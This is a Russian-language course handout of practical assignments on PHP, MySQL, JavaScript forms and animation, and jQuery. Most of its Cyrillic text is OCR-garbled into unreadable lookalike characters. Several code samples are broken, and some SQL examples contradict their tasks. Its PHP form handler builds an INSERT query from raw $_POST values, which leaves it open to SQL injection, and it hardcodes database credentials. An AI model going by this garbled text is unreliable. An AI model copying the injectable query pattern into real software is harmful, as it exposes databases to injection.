- Hanmcarts ¢ yHKIIMIO BRIBOIAIIYIO B Opay3ep crpoky “Hello from red function” xpacHbIM
y y pay3ep CTpOKy Y

Y SKUPHBIM MIPUPTOM.

- Hanucatp ¢yHKIMIO, BBIBOJAIIYIO B Opay3ep CTPOKY, MOTYyYEHHYIO B KaueCcTBe

apryMeHTa KPacHBIM U JKUPHBIM IIPU(TOM.

- Hanucatp ¢yHKIMIO, BRIBOJSIIYIO B Opay3ep CTPOKY, MOTYyYEHHYIO B KaueCcTBe

apryMeHTa KpacHbIM U )KHUPHBIM HIpU(TOM, €CIIM apryMEHT paBeH MycToi cTpoke (==""),

TO BbIBecTH “Empty argument”.

2. Paboma c apzymenmom noiy4eHHsiM no CChliIKe

- Onpenenuth nepemennyto $varl pasroii 1995. HanmcaTth GyHKIHUIO, MOTYYAOIIYO
apryMeHT IO CChIJIKE U MPUOABIISAIONIYIO K HEMY €IMHUILY U BBIBOJIAILYIO HOBOE
3HaveHue B Opaysep. Be3biBaTh 3Ty QyHKIHIO B IMKIiIe for, 1o Tex mop, moka oHa He
npuMet 3Hauenue 2008.

3. Hcnonv3oeanue napamempos no ymonuanuro

- Hammucats ¢ynkuuto, npudasmnstonyto k 2008 mpon3BoIbHOE YHCIIO, MTOIy9aeMoe B
nepBoM napametpe. Eciu nepBbiii mapameTp He nepenaéres, To k 2008 mpubdaBmsTh 1.

- Hanmucarts ¢ynkuuto, BeiBoasmIyto “Hello Anonym” B ciy4ae, eciid B apryMeHTe HE
nepenaeTcs uMsl, U BeiBosAmIyto “Hello uws™ ecnu ums nepegano B IepBOM apryMeHTe.

4. Bozepauwienue 3navenuil u3 ynKyuu

a
e¥d,
- Hammucartps GyHKINIO BEIYUCISIONIYIO CYMMY ~& , T1e a,b,c u d nepemarorcs B
napaMmeTpax.

5. O6pa6oTka dopmbl
Haiitu ¢aiin chtml — popmoit u3 nabopatopHoit padotsl Ne9, npucBouts ¢aitny pacumpenue php (eciu
HaWTH HE MOKEM, TO 3aHOBO co31aTh (hopmy U3 1aboparopHoii Ne 9);



O6padotunk Gpopmsl ohopMuTh B BUAe GyHKIMH (B OTAETHHOM (daiine). KomudecTBo hopmManbHBIX
napameTpoB (PyHKIMH JOKHO COOTBETCTBOBATH KOJIMYECTBY ITEPEMEHHBIX, IEpeIaBaeMbIX U3 (DOPMBI.
BosBpamaemMbIM pe3ynbTaToM (pyHKIMH CAETATh TEKCT MPUBETCTBUS MOJIb30BATEIN0, KOTOPBIA T€HEPUPYET
00paboTuuk GopMmsI;

IIpakTyeckas padora no teme « OcuoBsl PHP» Nel2 «Pabota ¢ 6a30i nanabix MySQL
cpeacreamu php»

3aganuel.

C nomomursio phpMyAdminco3ats HOBYI0 0a3y JaHHBIX, Ha3BaTh €€ - new_base.

Wuctpykuuu mo co3aanuto 6a3sl B phpMyAdmin nocmoTpets B s1a6_14_php.

B nonyuusiueiicst 6a3e JaHHBIX cO34aTh TaOuUIy ¢ Ha3BaHueM anketal, copepikallyio clieayroIue most:

num id | surname | name | city adress | no tel | age work place | post

3necs:

num_id — HoMep moceTutens (MepBUYHBIN KiIt0Y, int(4), auto_increment)
surname — ¢pamwus (varchar(50))

name — nums(varchar(50))

city — ropoa(varchar(150))

address — agpec(varchar(250))

no_tel — Homeprenedona(varchar(50))

age — Bospact (int(3))

work place — mecTtopaboTsi(varchar(250))
post — nomwkHOCTH(Varchar(150))

JlaHHbIe B Ta0JMIly BPYYHYIO He 3aHOCHTH!

3aganuel.

Hanucats ckpunt php 11t nobapnenus nagopmaiuu B Tabnuily anketal. C momolso JaHHOTO CKPHUITA
BHECTH B TaOuILy 15 3amuceit.

HNucTpyknun nmo 106aBjieHu0 nHGopManuu B Ta0 1My npuBeaeHbl B Jekuuu «Padora ¢ 0a3oit
nanubix MySQL cpeacrsamu php.docx» Ilpumep 4.7

3ananmue 3.

Hanucats ckpunt php, BEIBOAAIINI HAa SKpaH BCIO 3aMOJHEHHYIO Ta0IHILy.

HNHcTpykiun mo BIBOAY HHGOPMALMN HA JKPaH NPHUBeIeHbI B Jeknuu «Padora ¢ 6a30ii JaHHBIX
MySQL cpeacrBamu php.docx» [lpumep 4.1

3ananue 4.

Hanwmcats ckpunt php, 0CyIIECTBISIONINI COPTUPOBKY JAaHHBIX B TAOJIUIIE a) 10 IMEHHU;

6) o Bo3pacty. CopTHpOBKa 3amuceil JOMKHa MPOBOJUTHCS B MPSMOM M 00paTHOM Mopsake. BeiBecTu Ha
9KpaH OTCOPTUPOBAHHYIO TaOIHILY.

HNucTpykium mo coprupoBke nHpopmManum B Tadjuie npuBeaeHbl B Jekunuu «Padora ¢ 0a3oit
nanubix MySQL cpeacrsamu php.docx» [Ipumepsi 4.3 , 4.4.

3aganue 5.

Bri6pats HemHoro (12) 3anuceit ¢ anketal, oTcopTUpOBaHHbBIC B
Mopsi/IKe Bo3pacTaHust Homepa num_id;

Oopaserzanpoca:

SELECT * FROM anketal ORDER BY num_id LIMIT 12.

3ananmue 6.
BriOpats Bce 3amucu ¢ anketal, riae mone name paBHsiercst EneHa;
Oobpaserzamnpoca:



SELECT * FROM anketal WHERE name='Exena '.

3ananue 7.

Bri6path Bce 3anucu ¢ anketal, rie none name HaunHaeTcs ¢ Al
Oopaszern3anpoca:

SELECT * FROM anketal WHERE name LIKE 'An %';

3aganue 8.

Bri6pats Bce 3anucu ¢ anketal, ynopsgouennsie mo num_id,

TJIe TI0JIe Name 3aKaHYMBACTCS Ha «HAY:

Oopaserzanpoca:

SELECT * FROM anketal WHERE name LIKE '%mua' ORDER BY num _id.

3aganue 9.

BbIOpaTh U3 Tabnumbpianketal 3amucu, rae num_id ='3' unu name='Bagum’
O6pa3zerzanpoca:

SELECT * FROM anketal WHERE number ='3' OR name='Bagum’

3ananue 10.

Yaanutes u3 Tabumubianketal cTpoky ¢ HoMepoMm S
Oopaszern3anpoca:

DELETE FROM anketal WHERE number=5

3ananue 11.

OtpenakTupoBath Tadaunyanketal Takum odpa3om, 4yto 061 B cTpoke num_id =10 cTajo name
=HBaHn surname=HBaHoB, age=23

O6pa3zerzanpoca:

UPDATE anketal SET last name ='Eropos', name='Erop' WHERE num id =3

3aganue 12.

Co3nars php -¢aiin, B KoTOpoM pa3MecTuThb popMy ¢ 9-10 TECTOBBHIMH MOJISIMHU, /1151 3aII0JTHEHUSI
Tadauubl anketal

IIpumep ¢opmbl: (3TO TOJIBLKO IPUMEP, 2 HEe TOTOBOE peleHune 3a1aun!)
form_insert.php

<html>

<body>

<form action="obrabotchik.php" method="post" name="form">

<p>YwucnoBoiko, uaeHT-uicTyaenTa: <br><input name="stud id" type="text" size="20"
maxlength="40"></p>

<p>Bemuredamuimio:<br><input name="surname" type="text" size="20" maxlength="40"></p>
<p>Nms:<br><input name="name" type="text" size="20" maxlength="40"></p>
<p>Crunengus: <br><input name="stipend" type="text" size="20" maxlength="40"></p>
<p>Kypc:<br><input name="kurs" type="text" size="20" maxlength="40"></p>
<p>T'opoa:<br><input name="city" type="text" size="20" maxlength="40"></p>
<p>[enbpoxnaenus: <br><input name="birthday" type="text" size="20" maxlength="40"></p>
<p>UmncnoBoWKo, HAEHT-HCTy1eHTa:<br><input name="univ_id" type="text" size="20"
maxlength="40"></p>

<input name="submit" type="submit" value="3anecruHoBoroctyaenraBoazy">

</form>

</body>

</html>



3ananmue 13.
Harmmucats PHP-ckpunt, o6pabaTeiBaroniuii qanuyo ¢hopmy (obrabotchik.php):
OO0paboTuMK JOIKEH 3aI0NIHATh Tabauiyy anketal

IIpumep o0padoTunka (3T0 TOJILKO IPUMeEP, a He TOTOBOE pelleHue 3a1a4n!)

<htmlI>

<body>

<?php
if(isset($_POST['stud_id']))
éstud_id=$_POST['stud_id‘];
i}f(isset($_POST[‘surname']))
ésumame=$_POST[‘surname‘];
i}f(isset($_POST[‘name‘]))
éname=$_POST[‘name‘];
i}f(isset($_POST[‘stipend']))
éstipend=$_POST[‘stipend‘];
i}f(isset($_POST['kurs‘]))
ékurs=$_POST[’kurs'];
i}f(isset($_POST['city']))
écity=$_POST[’city'];
i}f(isset($_POST[‘birthday']))
ébirthday=$_POST[‘birthday'];
i}f(isset($_POST['univ_id']))
%univ_id$_POST[’uniV_id'];

$db=mysql connect("localhost","kseniya","12345");
mysql_select db("new base",$db);

$result=mysql query("insert into
students(stud_id,surname,name,stipend,kurs,city,birthday,univ_id)

VALUES
('$stud_id','$surname’,'$name’,'$stipend','Skurs','$city','$Sbirthday','Suniv_id")");
if (Sresult=="true")

{

echo"Undopmanus B 6a3y ycneniHo gobasieHa';

}

else

{

echo"Undopmanus B 6a3zy He qobaBieHa";

}

7>



</body>
</html

3.2 IlpakTnyeckue 3aganus 1o reme «S3bik cuenapues JavaScript»

IpakTuyeckoe 3aganue mo JS Ne 1 «OcHOBHBbIE YIPABJISIIONIME KOHCTPYKIHH javascripty

[leab 3aHATHSA: OCBOMTH OCHOBHBIE OIIEPATOPHI U YIIPABJIAIOIINE CTPYKTYPHI S3bIKa CLIEHApHEB javascript
ITpakTnyeckas pabora paccunTaHa Ha 4 akaJeMHUYECKUX daca.

IToaAroTOoBKA K NPAKTHYECKOI padoTe:

O3HaKOMUTHCS C JIEKIIMOHHBIM MaTepuasioM 1o Teme «OCHOBBI javascripty yueOHoi qucuuIuinHbl "OCHOBBI
javascript". (JIekowms 1, 2, 3)

3aganus
1. Hanwmcars nporpamMmy, 3apamivBaroilyto UMs [0Jb30BaTeNsl, a IOTOM OTBEYAIOIIYIO:
3apascrByiiTe <Umsa>!
IIpuBercrBy!0 Bac!
Ceroansa naet 12-p1id mecsng 2021-ro roaa.
2. Hanwucatp nmporpaMmy, 3alpaiivBarollyo y Mojab30BaTels YUCII0, U €CJIU II0Jb30BaTENb BBEI
YETHOE YHCJI0, IeYaTAIOUY0 TEKCT:
Ypa! Bbl o0s1agaresib Hamero npusa!
Ecnu nonp3oBarenb BBOAUT HEUETHOE YUCIIO, TO MPOrpaMma JI0JKHA 1eYaTaTh:
N3BunnTe! Bam He moBe3.1o ceroausi! [lonpodyiite emie pas!
3. Hamnucates nporpammy, KOTopas 3alpamiuBaeT y MoJIb30BaTeNsl YMCa, a 3aTEM BBIYUCIISET UX
cymMmy. [Ipu3HakoM KoHIIa BBO/A CAEIaTh IPOOEI.
4. Hanwucatp nmporpaMMy, KOTOpas 3arpaliuBaeT y Mmojab30BaTelss HOMep Mecsiia U revyaraer
COOTBETCTBYIOIIEE BBEACHHOMY MECSIILy BpeMsI r0J1a, HallpuMep:
3 — uii Mecsl 3TO BecHa!

5. COSI[aTB MaCCuUB conep;xamm“d Ha3BaHUA IrOopoJ0B, OTCOPTUPOBATH 3TOT MACCUB B a.]'[(baBI/ITHOM
MOPAAKE U pacricyaTaTb pC3yJibTarT.
6. COSI[aTB YHUCIOBOM MacCCHB, OTCOPTUPOBATH 110 BO3paCTaHUIO, pacri€dyaTaTtb pE3yJibTarT.

7. Co3paTh MaccuB COJIEpIKalUM Ha3BaHUE THEN HENIEIH, IEPECTaBUTh IEMEHThHl MacCUBa B
00paTHOM MOPSIJIKE, pacreyaTaTb pe3yJibTart.

IIpakTyeckoe 3aganue js_2 « O6padorka popm»

[lenb 3aHATHSA: HAYIUTHCS TPOBEPATH MPABUIBLHOCTD 3aMIOJIHEHUSI TEKCTOBBIX mosieid B html-popmax ¢
MTOMOIIIBIO SI3bIKA CIICHAPUEB javascript

ITpakTuyeckas pabora paccunTaHa Ha 4 akaJeMHUYECKUX daca.

IToaAroTOBKA K NPAKTHYECKO padoTe:




O3HaKOMUTHKCS C JICKIIMOHHBIM MaTepHalIoM 1o TeMe «OCHOBBI javascripty yueOHoM qucIUTUIMHBL "OCHOBBI
javascript". (JIexmus 4, 5)
3aganus

1)Co3nats hopMy ¢ TpeMsi TEKCTOBBIMH TTOJISIMA W KHOITKOM OTIPABKH JTaHHBIX.
JIOJDKHO TIPOBEPATHCS, YTOOBI JUTHHA BBOJIMMBIX CIIOB HE MPEBbIIana 12 CHMBOJIOB.

2)Co3nath GopMy ¢ IByMs TEKCTOBBIMHU TOJIIMH (MMs, BO3pAcT) U KHOMKOM. [IpoBeputs 4TOOBI IyIMHA
MMEHH He NpeBbllana 12 cuMBOJIOB, a BO3pacT Haxoawics B quana3zoHe ot 1 1o 200 ner.

3)Co3znathk GhopMy ¢ TpeMs paHOKHOIIKAMHU U TEKCTOBEIM T0JIeM. BrIOpaHHOE MMOJTh30BaTENIeM 3HAUCHHE
JOJHKHO 0TOOpakaThCs B TEKCTOBOM IIOJIE.

4)Co3znats (hopMy € IBYMS TEKCTOBBIMH MOJISIMH U KHONIKOH. [Ipy Ha>kaTuu Ha KHOIIKY COJIEP>KUMOE
TEKCTOBBIX TOJIEH JTOJIKHO BBIJICISATHCS.

5)Co3nate GpopMy ¢ TpeMs TEKCTOBBIMU MOJISIMH U KHOTIKOH. [Tpu 3arpyske ¢popmsl poKyc T0MKEeH
YCTaHABIUBATLCS B CAMOM HMKHEM IIOJIE.

IIpakTHyeckoe 3axanue no JS Ne3 «@opMbl U OKHA»
[lenb 3aHATHS: HAYIUTHCS TPOBEPSATH MPABUIBLHOCTD 3aMOJHEHUSI TEKCTOBBIX MoJel B html-popmax u
MaHHUITYJIUPOBATh OKHAMH C TIOMOIIBIO SI3bIKA CIIEHAPUEB javascript
[IpakTnueckas paboTta paccunTaHa Ha 4 akaJeMHYECKHX Yaca.
IoaroroBkKa K mpaKTH4YecKoii padore:

O3HaKOMUTKCS C JEKIIMOHHBIM MaTepuanoM o Teme «OCHOBBI javascripty yueOHo! AucuuIInHb "OCHOBBI
javascript". (Jlexuwus 4, 5)

3anaumue 1

1. Coszoamv html — cmpanuyy, cooepaicawyro popmy ¢ mpems meKcmovlMu noaamu u kHonkou. Ilpu
Hasxscamuu Ha KONKy, 8 ciyyde eciu 3anoHenbl 6ce mpu noJis (6 HUX X0mv 4mo mo 3anucaHo)
O0JIIHCHO OMKPBIBAMBCS. OKHO — «/{00po noscanosams!». B omxpuieuemcs okHe 001#CHbI
NPUCYmMCcmeo8ams KApmMuHKa, 0m@opmMamupo8anHulil meKCm u KHONKa «3akpvimsvy Eciu xoms v
00HO NoJjie He 3an0JIHEeHO 00JINHCHO 8bl0ABAMbCS COOOUCHUE.

IIpumep:
Primer1.html

<html>

<head>

<title>javascript okHO</title>

<script type="text/javascript" src="script.js"></script>

</head>

<body>

<form name=" myForm ">
BBenuteBamenms:

<input type="text" name="mylInput" size="20">

<input type="button" value="winl1" onClick="open_w1()">
</form>

</body>

</html



wl.html

<htmlI>

<head>

<title>javascript okHO</title>

<script type="text/javascript" src="script.js"></script>
</head>

<body>

<img src="1.jpg" width="300">

<input type="button" value="3akpsITp"
onClick="close pict()">

</body>

</html>

Script.js

function open_w1()
{
x=document.myForm,;
input=x.myInput.value;
if (input.length>0)
{
ford=window.open("w1.html", "display ford",
"width=400,height=300,status=no,toolbar=no,menubar=no");

}

else

{
alert("The field cannot contain more than 5 characters!");
¥

¥

function close_pict()

{

window.close();

3aganue 2

2. Cozoambv html — cmpanuyy, cooepacawyro popmy ¢ mpems mekcmosulMu NOJAMU U KHONKOU. B
MeKCmosbvlie NoJisk O0AHCHBL 6600UMbCA UM 803PACT U a0pec dIeKmporHoU noumuvl. [lpu naxcamuu
Ha KONKy (8 ciyuae eciu nojis 3an0JHeHbl NPAGUIbHO) OO0IHCHO OMKPbIBAMbCS. OKHO — «/{0Opo
nodcanogams!y». B omkpuieuemcs OKHe O0IHCHbL NPUCYICMBOBAMNb KAPMUHKA,
OMpOpMAMUpPOBAHHbBILL MEKCM U KHONKA «3aKpblmby Ecau xoms Obl 00HO none 3anoiHeHo HeGepHO
00JI)ICHO 8b10ABAMBCSL COOOUCHUE.
ITIpumepnr:
a) npoBepka 3HaueHusi noJjisi(Kak npoBeputh 3HaueHNne, BBeJIeHHOE B M0JI€ BBOJA HA BXOXK/IEHHE B
JOIYCTHUMBbIi JHANA30H)

<htmlI>

<head>

<script>

function validate()

{x=document.myForm,;

txt=x.mylInput.value;

if (txt>=1 && txt<=5)

{

return true;

}

else

{



alert("Must be between 1 and 5");
return false;

b
b

</script>

</head>

<body>

<form name="myForm" action="tryjs_submitpage.htm" onsubmit="return validate()">
Enter a value from 1 to 5: <input type="text" name="mylInput" size="20">

<input type="submit" value="Submit">

</form>

</body>

</html>

0)npoBepKa ajpeca YIeKTPOHHON MOYTHI.

<htmlI>

<head>

<script>

function validate email(field,alerttxt)

{
with (field)

{
apos=value.indexOf("@");
dotpos=value.lastindexOf(".");
if (apos<1||dotpos-apos<2)

{

alert(alerttxt);

return false;

}

else

{
return true;
}
}
}

function validate form(thisform)
évith (thisform)
i{f (validate email(email,"Not a valid e-mail address!")==false)
imail.focus();
return false;

}
b
}

</script>
</head>

<body>

<form action="tryjs_submitpage.htm" onsubmit="return validate form(this)" method="post">
Email: <input type="text" name="email" size="30">

<input type="submit" value="Submit">

</form>



</body>

</html>

IIpoBepka ¢opmsbI:

dopwma, copeprkaiias Bce MPUBEICHHBIC BHIIIC TPOBEPKU:
<html>

<head>

<script>

function validate()

{

var at=document.getElementByld("email").value.indexOf("@");
var age=document.getElementByld("age").value;

var fnhame=document.getElementByld("fname").value;
submitOK="true";

if (fname.length>10)

{

alert("The name may have no more than 10 characters");
submitOK="false";

}
if (isNaN(age)|lage<1||age>100)

{

alert("The age must be a number between 1 and 100");
submitOK="false";

}
if (at==-1)

{

alert("Not a valid e-mail!");

submitOK="false";

}
if (submitOK=="false")

{
return false;
h
}

</script>

</head>

<body>

<form action="tryjs_submitpage.htm" onsubmit="return validate()">
Name (max 10 characters): <input type="text" id="fname" size="20"><br>
Age (from 1 to 100): <input type="text" id="age" size="20"><br>
E-mail: <input type="text" id="email" size="20"><br>

<br>

<input type="submit" value="Submit">

</form>

</body>

</html>
DyHKIUS 1/ MPOBEPKH aJIeca JIEKTPOHHOI MOYThI
function validEmail (mail) { //IIpoBepsieM KOPPEKTHOCTH ajipeca MOUYTHI

return (new RegExp (" _.0-9a-z-1+@([0-9a-z][0-9a-z_-]+.)+[a-z]{2,4}$").test(mail) ? 1 : 0);
b

IIpakTHyeckoe 3axanne js_4 «Ciaom»



[lenb 3aHATHSA: HAYYUTHCS YIIPABIATH BUTUMOCTBIO CIIOEB C IIOMOIIBIO SI3bIKA CIICHAPUEB
javascript

[TpakTHueckas paboTa paccuuTaHa Ha 4 akaJeMHUYECKUX 4yaca.

IloaroroBka K NpakTH4YeCcKoi padore:
O3HaKOMHTHCS C JIEKIIMOHHBIM MaTeprajioM 1o Teme « OCHOBBI javascripty yueOHOM
mucturiiHbl "OcHOBEI javascript. (JIekmus 7)

3ananus

1. Orobpazute Hagnuch «J1oOpsiii geHs!» ¢ TeHbto. [lapaMeTpsl HaAMUCH: KOOPAUHATY TIO X =
200 Touek, o Y = 40 Touek, pazmep Haanucu S0 Touek, BET — KpacHbIil. [Ipu HaBegeHUn
Kypcopa Ha HaJIMKUCh IIBET HAJMUCH U TEHU JOJIKEH MEHSTHCS.

2. OTo6pa3utb komOuHauio «AOBr/l». BykBel HaxomaTCs APYT MO APYTroM, Kaxkaas u3 OyKB
UMEeT TeHb, pazMep 0ombInoii OykBa 50 Touek, pazmep ManeHbKUX — 20 To4ek, Bce OYKBBI
cuHero 1seta. [Ipy menruke KHOKY MBIIIN Ha YJIEMEHTE, [IBET JOJDKEH MEHATHCS Ha KPACHBIM.

3. IIpou3BOJIbHBII TEKCT pa3MeCTUTh B MecTe ¢ koopauHatamu X=150, Y=250. IIpu nonananuun
Kypcopa MbILIN Ha 3JIEMEHT, MPH IIETUYKE KHOMKHM MBIILIY Ha 3JIEMEHTE U IPHU YX0JIe Kypcopa 3a
IPEeJIeIIbl 3JIEMEHTA 1IBET TEKCTa JI0JIKEH MEHATHCS ( cuHM, 3e1E€HBIN, KPACHBIH ).

4. Co3naTh HAAMKCh, IPY HABEICHUH MBIIIH, BHIITAACT MEHIO, T.€. CJIOW CTAHOBUTCS BUIUMBIM
(B cnoe onpenenuth KapTUHKY).

5. CozpaTe Tpy HAJIKUCH, IIPU HAKATUN HA KOTOPBIE JEJIA0TCSI BUAMMBIMU COOTBETCTBYIOLUE
UM CJIOU (KapTHHKH)

6. Co3ziaTh rMIepCcChlUIKy, KOTOpasi MEHSIET CBOE PACIOI0KEHNE IIPU HABEIEHUN MBIILIN HA HEeE.

7. Co3naTh THIEPCCHUIKY, KOTOpasi MEHSIET CBOE PACIOJIOKEHUE IIPU HaBEIEHUU Kypcopa MbIIIH
Ha Hee, a IIPH yXO/Ie Kypcopa MBIIIH BO3BpaIlaeTcsi 00paTHO.

8. Co3ziath HAAKCh, KOTOPasi MEHSET CBOE PACTIOJIOKECHHUE TPU IIETYKE KHOMKU MBIIIU HA HEM.
9. Co3naTh HaANUCh, KOTOPAsi IPU HABEAECHUU KypCOpPa MBIIIIN HA HEE MEHSET LIBET

10. Co3naTh TMIIEPCCHUIKY, IPU HABEJIEHUU KypCcOopa MBIIIA Ha KOTOPYIO MeHsieTcsl IBET (hoHa
CTpaHUIIBI, a IPH yXOJI€ C HEe Kypcopa MBIIIH CTAHOBUTCS TAKUM KakK ObUT BHaJale.

IIpakTyeckoe 3aganue JS_S «I'paduxa»

[lenb 3aHATHSA: HAYIUTHCS PAOOTATh ¢ 0OBEKTOM image ¢ MMOMOIIBIO S3bIKa CIICHApUEB javascript
[TpakTuueckas padota paccuntana Ha 4 akaJeMHUYECKUX Yaca.
IToaAroTOBKA K NPAKTHYECKOI padoTe:

O3HaKOMUTKCS C JEKIIMOHHBIM MaTepuanoM o Teme «OCHOBBI javascripty yueOHoN AucUUIUIHHBI "OCHOBBI
javascript". (Jlexuwmst 7)

3aganud



1. BeiBecTu TpH pa3HbIX H300pakeHus: [Ipy HaBeJeHNN MBIIIN Ha KaXKa0€e U3 U300pakeHu, OHU JOJKHBI
MEHATBCS Ha YeTBepToe u300pakeHue. [lociae cxoa MbIH ¢ 1F000ro n300pakeHus, ClieHa BO3BpaIlacTcs
B UCXOJIHOE COCTOSIHUE

2. BeiBecTu Tpu OAMHAKOBBIX MU300pakeHus: [Ipu HaBeJleHUN MBIIIM Ha NTEPBOE N300paKEHUE — MEHSIOTCS
BTOpPOE U TPETHE, IPU HABEJCHUH MBIIIM HAa BTOPOE U300paKEHUE — MEHSIOTCS TPEThE U MIEPBOE, NIPU
HaBE/IEHUH MBI Ha TpeThe U300pakeHue, oHo 3ameHsercs. [locne cxoa MbIIM ¢ 11000r0 H300pakeHus,
CLICHA BO3BPAIIACTCA B HCXOIHOE COCTOSHUE.

3. BeiBecTH /1Ba pa3HbIX H300paxenus. [Ipu HaBeJleHUN MBIIIH Ha TIEPBOE U300paKeHHE, BTOPOE
n300pa’keHre HauMHAeT U3MEHAThCA B PEXUME MYyJIbTUILIMKaKU. [lociie cxo/1a MBIIIN C TEPBOTroO
N300pakeHHs, ClIeHa BO3BPAIACTCS B UCXOIHOE COCTOSIHUE

4. BeiBecTn n300paxeHre 1 KHONKY. [1py HaXkaTHM Ha KHONIKY M300paskeHue TOJHKHO U3MEHUTHCS Ha
Apyroe, Mpy MOBTOPHOM HaXKaTUU HAa KHOMKY M300pa’keHHe MEHseTCs Ha cienyomee, uTa. JJomkHo
cMeHUThes 10 KapTUHOK MpH MOCIIE10BaTEIbHOM Ha)KaTUU KHOIIKH.

5. BeIBecTH TpH OIMHAKOBBIX M300paskeHus: [Ipy HaBeeHNU MBIIIN Ha MEePBOE H300paKeHNE — MEHSIETCS
TpeThbe, IPU HAaBEJACHUH MBIILIN Ha BTOPOE N300paKeHUE — MEHSETCs IepBOe IPU HaBeJICHUM MBI Ha

TPETHE I/I306pa)K€HI/Ie, oHO 3amenseTcs. ITociae cxoma MBI C JIF000T0 I/I306pa)K€HI/I$I, CII€HAa BO3BpallacTCA
B UCXOOHOC COCTOsHHC.

[IpuMeps! BBINTOIHEHUS 3aJaHUH MOKHO ITIOCMOTPETH B ITAINKE «IIPUMEPBI»

IIpakTuyeckoe 3aganue JS_7 «KAHUMaLHUA»

[leJb 3aHATH: HAYYUTHCS POrPAMMHUPOBATH IBHYKEHHS 0OBEKTOB C TIOMOIIIBIO SI3bIKA CIICHAPHEB
javascript

ITpakTudeckas pabora paccunTaHa Ha 4 akaJeMUYECKUX daca.
ITonroroBka K NpakTHU4ecKoii padore:

O3HAKOMHTBCSI € JIEKITMOHHBIM MaTepraioM 1o TeMe « OCHOBBI javascripty yueOHOH TUCHUTUTHHBI "OCHOBBI
javascript". (JIexmus 8, 9)

3aganud:

1. HanmucaTh CKpHUIT, OCYIIECTBISIOUINN IBUKEHUE JIBYX OOBEKTOB OTHOCUTEIBHO
TpeTbero(HenoABM>XHOro). O6a 00beKTa JOJKHBI IBUTaThCs B OJJHY M Ty e CTOpoHY. B kauecTBe
0O0BEKTOB B3ATh KAPTUHKHU C N300pPaKEHUSIMH TUTAHET.

2. HamucaTb CKpUIT, OCYIIECTBISIOUINN IBUKEHUE JIBYX OOBEKTOB OTHOCUTEIBHO
TpeTbero(HenoABMKHOro). O6a 00beKTa JOMKHBI ABUTAaTHCS B pa3HbIe CTOPOHBI. B kauecTBe 00BHEKTOB
B35ITh KAPTUHKU C N300paKEHUSIMU IIJIAHET.

3. Hanmcarb CKpUIT, OCYIIECTBISIONIMNA IBUKEHHE TPpeX 00BEKTOB OTHOCUTEIBHO HENMOIBUKHOTO. Bee
00BEKTHI IOJKHBI JIBUTATHCS B Pa3HbIE CTOPOHBI. B kKauecTBe 00BEKTOB B3ATh KAPTUHKH C
M300paXKCHHUSIMH TUTAHET.

4. HanucaTh CKpUNT, OCYIIECTBIISIONINHN JBUKEHUE TPEX CJIOB MO CIyYalHBIM TPACKTOPHUSAM B Mpejieax
3aJJaHHOM 00JacTH.

5. Hanmucatb CKpUMT, OCYIIECTBISIFOIIMNA CIASAYIONINH ClIEHApHii: MMyCTh B IOKyMEHT 3arpy,eHO
HEKOoTopoe c¢ioBo. [Ipu HaBeAeHNH Kypcopa MBIIIN Ha HETO, CJIOBO paclajaeTcs Ha OTJeNbHbIE OYKBBHI,
Y 3TU OYKBBI JBUKYTCS TIO CIYYaHBIM TPAEKTOPUSIM.



6. Hanucatb CKpUIT, OCYIECTBIISIIOIIMN CIEAYIOUINM ClIeHapHii: yCTh B IOKyMEHTE OTOOpaXkeHa
runepccolika. [Ipu HaBeeHnU Kypcopa MBI Ha Hee, THIIEPCChUIKA U3MEHSET CBOE MOJIOKEHHE, a
3aTeM BO3BPAILAETCs HA CBOE MECTO.

7. Hanueatb CKpUNT, OCYIIECTBIISIOLINM CIIEIYIOIUN CIEHAPHIL: IIyCTh B JOKYMEHT 3arpy’KeHO
HEKOTOpoe ¢10BO. [Ipy 1menuKe MbIIIM Ha CJIOBE, OHO TOJDKHO HAYMHAThH JBM)KCHHE 110 TOPU30HTAIIN B

npeaciax JIaHHOM o0acTH. HpI/I JIBOMHOM IIETYKE MBI Ha CIIOBE — OHO JOJKHO OCTaHABIMBAThCS

8. Hanucath CKpUNT, OCYIIECTBIISIOMINN CIEIYOIINNA CLIEHApUI: ITyCTh B JOKYMEHT 3arpyKeHO Tpu

Pa3IMYHBIX CJI0OBA, PACIIOJNOKCHHBIX B PA3JIMYHBIX MECTAaX JJOKYMCHTA, B CJ'Iy‘IEIﬁHOM IopsAaKe. Ilo KIIUKY

MBIIIIK Ha JIF0OOM M3 CIIOB, BCE TPH CJIOBA JOJIKHBI BRICTPAUBATHCS HA OJHOM JIMHUU U 00pa30BHIBATH
¢bpa3sy.

9. Harmmcartsn CKPHUIIT, OCYH.[CCTBJ'IHIOH.IH?I BO3MOJKXHOCTD IICPECTACKUBAHUA 00BEKTOB MBIIIEIO.
OObekTamMu JOJIDKHBI OBITh KapTUHKHU B KOJIMYCCTBC HC MCHBIIC TPCX.

[IpuMeps! BBINTOIHEHUS 3aJaHUH MOKHO ITOCMOTPETH B MAIIKE «IIPUMEPBD)

3.3 lIpakTruyeckue 3aganus mo reme «budaunoreka jQuery»

INPAKTUYECKAS PABOTA Nel (JQuery)
3ananmue 1

3a}_‘[aHne 1 Ha CTpaHHULC 3aJaH jQuery KO, HO OH HC pa60TaeT MMOTOMY, 4YTO K HEH He IIOAKIOYCH H€06XOZ[I/IMI>II71

(aitn oubnmoTexu jquery.js. [lonkmounTe jquery.js, 9ToOb "IOYHMHNATE" KOJI.

Ipumep

<htmI>

<body>
<input type="button" value="Haxxmurenamens"/>



<script>

$(document).ready(function(){
$(":button").click(function(){
alert("Ilo3npasnsem! Bol mounnumm xoa!");

ol

</script>
</body>
</htmI>

3aganue 2

3aganue 2. U3MEHUTE I[BET U pa3Mep MIPUPTA, ISPESUUCICHHBIX HUKE JJIEMEHTOB, JIJISl TOTO, YTOOBI BBIIEIUTh OYKBBI

KOJZIOBOI'O CIIOBA.
W3menute uset u pasmep mpudra:

e Dijemenrta ¢ id=meadow;

e Dnementa ¢ class=rainbow;

e Dremenra ¢ id=future HaxosIIErocs BHYTpH eMeHTa ¢ id=fut; (TaHHBIA IEMEHT HEOOXOIUMO BBIICITUTH IBETOM
OTIIMYHBIM OT KPacHOT0);

e  DJieMCHTa UMEIOIIETO aTpuOyT set;

e Diemenra c atpuOyToM last=code.

OOpaTruTe BHUMAaHMe: JUIS U3MEHEHHUs IIBeTa TEKCTa JJIeMEeHTa HCIOJIb3yiiTe MeTO/:
css('color','"HOBBIN_1BeT_TekcTa'), /Il MI3MeHeHUs pa3mepa mpudra ucnoab3yiite meroa: css('font-

size','pasmep_mpudra_px').

IMpumep

<html>

<head>

<style type="text/css">
#wrapl

{

border-style:solid;
border-width: 1px;
width:350px;

font-size:20px;

f

</style>

